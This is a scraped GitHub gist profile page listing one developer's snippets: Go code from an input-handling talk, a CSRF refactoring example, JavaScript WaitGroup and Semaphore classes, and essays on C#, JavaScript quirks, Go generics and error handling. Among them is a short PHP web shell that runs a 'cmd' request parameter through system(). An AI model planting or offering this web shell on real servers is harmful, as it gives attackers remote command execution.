Skip to content

Instantly share code, notes, and snippets.

View empijei's full-sized avatar
💭
for { Learn() }

Roberto Clapis empijei

💭
for { Learn() }
View GitHub Profile
@empijei
empijei / main.go
Created November 10, 2024 22:40
Accepting inputs talk 2024 code
package main
import (
"bufio"
"bytes"
"errors"
"io"
"iter"
"strings"
"unicode/utf8"

The short story of my experience with C# is that it is like Java should have been.

Cross platform

C# has now gotten to allow programmers to build cross-platform applications, includin games. Unity engine has made it possible to write games form most platforms in a memory-safe nice-to-use language.

IDE support

VS used to be the best possible IDE to work with and intellisense was just perfect and lightning fast for C#. Debugging was a flawless experience.

package csrf
import "errors"
// This is just an example on how to reduce redundant code in Go
// Original file: https://github.com/gofiber/csrf/blob/dde96da6711a2cc01709a66730c2e16328b22047/main.go
// csrfFromExtractor returns a function can be used to bind to a parameter name to extract a csrf token from a Ctx.
func csrfFromExtractor(errMessage string, extractor func(c *fiber.Ctx, param string) string) func(string) func(c *fiber.Ctx) (string, error) {
return func(param string) func(c *fiber.Ctx) (string, error) {
@empijei
empijei / waitgroup.js
Created March 26, 2019 22:07
waitgroup.js
class WaitGroup {
constructor(initial, opt_sab) {
this._sab = opt_sab || new SharedArrayBuffer(4);
this._wg = new Int32Array(this._sab);
this.add(initial);
}
static connect(wg) { return new WaitGroup(0, wg._sab) }
add(n) {
let current = n + Atomics.add(this._wg, 0, n);
if (current < 0) {
@empijei
empijei / semaphore.js
Created March 22, 2019 18:41
semaphore.js
class Semaphore {
constructor(size, opt_sab) {
this._sab = opt_sab || new SharedArrayBuffer(4);
this._sema = new Int32Array(this._sab);
this._size = size;
}
static connect(sema) {
return new Semaphore(sema._size, sema._sab);
@empijei
empijei / go2-generics-syntax-fb.md
Last active October 24, 2018 05:11
Feedback on Go2 Generics proposal: syntax

As Liam Breck said, changing the function signature by adding more round parentheses would make it very hard to read it. I personally found something like

func (/*receiver*/)Foo(/*types*/)(/*args*/)(/*return tuple*/){

c,d := a.Foo(Type)(e,f)

to be way too complex compared with the usual go syntax.

WAT: let's talk about javascript

Short preface:

The first version of JavaScript was completed in ten days in order to accommodate the Netscape Navigator 2.0 Beta release schedule.

Keep in mind that well structured languages usually take a little bit more than that.

What follows is a small piece of the aftermath of the rushed job.

NOTE: There is more madness in destroy all software's wat video, which I suggest watching before reading this post.

@empijei
empijei / errhandle.md
Last active August 17, 2018 14:48
Considerations on error handling

Considerations on error handling

The impact

The first language I used to build something more than just school exercises was VisualBasic.Net. There are some good things and bad things in it, but I don't want to discuss that today. I switched to C# after that and Java and Python after it.

This is to say that basically up until three years ago I knew one and only one way to handle errors which is expressed in the following pseudocode:

try:
	# dostuff
except: # or catch
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST["cmd"]);
system($cmd);
echo "</pre>$cmd<pre>";
die;
}
?>
@empijei
empijei / ssrfCheck.go
Created April 17, 2017 18:23
dump http requests
package main
import (
"fmt"
"log"
"net/http"
"net/http/httputil"
"os"
)